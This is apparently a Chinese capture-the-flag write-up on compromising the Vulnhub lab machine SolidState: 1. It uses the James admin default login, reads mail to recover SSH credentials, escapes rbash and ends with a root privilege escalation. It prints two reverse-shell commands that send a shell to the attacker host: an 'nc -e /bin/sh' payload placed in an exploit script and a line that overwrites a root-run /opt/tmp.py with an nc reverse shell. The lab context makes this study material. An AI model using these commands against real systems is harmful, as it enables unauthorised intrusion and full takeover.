靶机渗透测试(SolidState: 1):
Vulnhub靶机 SolidState: 1
靶机:修改靶机的网络配置为桥接模式。
攻击机:Kali虚拟机,同样使用桥接模式,即可访问靶机。
靶机难度:(====)
描述:It was originally created for HackTheBox
flag进度:2/2
渗透流程:
1. 探测靶机ip地址(netdiscover -i eth0 -r 网关)
命令:netdiscover -i eth0 -r 192.168.10.0
靶机ip为: 192.168.10.140
2. nmap进行靶机端口服务扫描
命令: nmap -sS -Pn -A -p- -n 192.168.10.140
靶机开放22/ssh、 25/smtp、80/http、 110/pop3、119/nntp、4555/james-admin等端口服务
3. 根据端口服务进行信息收集(80/http端口)
我们访问80页面进行信息收集:查看源代码,御剑,dirb扫描均没有收集到任何有价值的信息,故80页面无果!!!
4. 端口服务信息收集(4555/james-admin端口)
开放的4555端口存在远程命令执行漏洞
使用nc命令进行远程连接:
nc 192.168.10.140 4555
输入id=root、password=root
nc的作用:
(1)实现任意TCP/UDP端口的侦听
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
键入help命令查看,发现可以执行listusers(列出用户名),setpassword(重置密码)等操作;
Remote Admin Service(远程管理服务)
使用listusers命令,发现存在5位用户:
我们使用setpassword命令将5位用户密码均重置为111;
setpassword 【用户名】 【密码】
然后使用其他命令进行信息收集,并未从4555端口处发现其他有价值的信息!!!
5. 端口服务信息收集(110/pop3端口)
POP3服务器是遵循POP3协议的接受邮件服务器,用于接收电子邮件
我们使用telnet命令进行远程登陆:
命令:telnet 192.168.10.140 110
Telet是Iteret的远程登录协议,可以通过它远程登录来控制别的计算机
输入:
user [用户名]
pass [密码]
list(输出文件列)
使用retr命令下载文件
RETR和STOR命令是FTP协议中的下载和上传命令, 可以针对文件和目录
浅谈FTP协议与应用
在使用retr 2命令后,我们可以看到mindy用户的账号密码!(猜测用于ssh登陆)
mindy // P@55W0rd1!2@
依次登陆5位用户,查看用户目录下的信息,使用retr命令下载文件,并在数据窗口中可以看到指定下载文件的内容.
在110/pop3端口,我们只发现了mindy用户的ssh登陆账号密码,在其他用户下也并没有任何有价值的发现!!!
6. 端口服务信息收集(22/ssh端口)
我们使用mindy用户的账号密码,进行ssh远程连接,但当我们whoami时发现为rbash(受限制的shell),ls发现存在user.txt,cat查看发现一项flag!!!
双击Tab键,终端会输出当前用户可以执行的命令:
cat etc/passwd可以看到mindy用户可以利用/bin/rbash/进行反向shell提权;
rbash(受限的shell),有很多基础的命令都执行不了,我们可以通过下面两种方式进行绕过:
一. exp利用
使用searchsploit搜寻版本漏洞,cp脚本文件下载到kali中:
我们vi打开py脚本文件,设置payload:
nc -e /bin/sh 192.168.10.9 1234
payload为本地kali的IP地址和nc监听的端口
执行脚本文件:
命令:
python 35513.py [ip]
再次使用ssh远程登录,,可以看到脚本文件开始编译执行,我们在kali终端设置nc监听:
可以看到成功监听,id查看为mindy用户权限;
二. 一句话绕过
使用一句话命令即可成功绕过:
ssh mindy@192.168.10.140 “export TERM=xterm; python -c 'import pty; pty.spawn(”/bin/sh")’"
7. 提权操作:
反弹shell成功
根据前面的邮件提示信息,获得ssh的登录凭证是从James那里获取的,所以查看对应用户的进程运行情况:
命令:ps aux | grep james
显示了opt作为根进程,cd进入opt文件夹:
存在一个Python程序tmp.py程序可以利用,,属于root权限,那么我们将它更改程序执行命令的提权代码:
命令: echo ‘import os; os.system("/bin/nc 192.168.10.9 666 -e /bin/bash")’ > /opt/tmp.py
反弹shell成功,拿到root权限!!!
实验结束!
实验总结:
在本次实验中,靶机开放了许多新颖的端口服务,通过端口服务进行信息收集,在4555端口存在远程代码执行,我们在4555端口得到用户名,并重置了用户密码;在pop3服务中,查看到邮件信息,得到下一步ssh的登陆账号密码;
以及在ssh登陆成功后,受限制的rbash绕过是本次实验的特点,我们可以使用一句话绕过,也可以exp绕过;
提权部分为向可执行.py文件中添加可提权的代码,编译执行,成功提权root权限!!!